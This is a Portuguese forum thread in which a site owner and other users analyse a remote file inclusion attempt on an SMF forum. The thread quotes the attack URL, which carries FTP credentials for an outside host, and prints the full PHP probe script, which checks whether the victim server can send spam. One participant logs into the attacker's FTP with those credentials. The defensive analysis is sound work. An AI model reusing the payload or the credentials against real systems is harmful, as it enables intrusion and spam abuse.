Hoje um visitante acessou meu fórum usando o seguinte URL:
https://ryan.com.br/smf/index.php?topic=ftp://kchopita10:k2k2k2@ftp.xpg.com.br/test.php?
Esse evidentemente não é um URL válido do SMF e deve estar mal intencionado, querendo explorar uma possível falha no fórum.
Alguém sabe qual seria a provável intenção do sujeito com um URL assim?
Humm… aparentemente é um teste para ver se ele consegue mandar e-mails pelo meu servidor. O conteúdo de "test.php" é este:
<?php
ini_set("max_execution_time",-1);
set_time_limit(0);
$remetente = "";
$assunto = "box";
$email1 = "sc5101@live.com;somente007@gmail.com";
$headers = "MIME-Version: 1.0rn";
$headers .= "Content-type: text/html; charset=iso-8859-1rn";
$headers .= "From: dadadadada $remetentern";
$headers .= "Bcc: $remetentern";
$html = "teste5555";if(mail($email1, $assunto, $html . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'], $headers)){
echo "Opa, enviado!";
exit();
}
else{
echo "Nao enviei..";
exit();
}
?>
"kchopita10" é usuário
"k2k2k2" é senha.
O mais interessante é ver que o autor disso parece ter acesso à raiz FTP de xpg.com.br.
Mas eu usei as mesmas credenciais em um programa de FTP e só existem dois arquivos lá.
O usuario dele, em xpg.com.br deve estar com chroot no diretorio. Dessa forma o diretorio dele fica como sendo o raiz da conta. Ele nao consegue voltar niveis, apenas avançar.
É que tem muito site que usa o formato ?pagina=clientes.php por exemplo…
E no source usa include($_GET["pagina"])… E o include suporta endereços http…
Vi que vc deixou uma mensagem pra o cidadão no arquivo test.php Ryan,
Eu pensei em apagar, mas depois vi que assim ficava mais divertido.

E se ele estiver usando um programa totalmente automatizado, pode levar um tempo até perceber que não funciona mais
Procurando no Google pela string
echo "Opa, enviado!";
Descobri que isso vem sendo usado há muito tempo, de diversas formas (não apenas usando FTP e não é um ataque dirigido ao SMF) como se pode ver por este post de 2007:
http://groups.google.com/group/cfbrasil/browse_thread/thread/60e8702232ac92dd?pli=1
Também se pode ver que o script está hospedado em diversos sites, de onde pode ser usado livremente por qualquer um.
Isso é um script pra ver se ta chegando "inbox", se chegar ótima máquina pro spam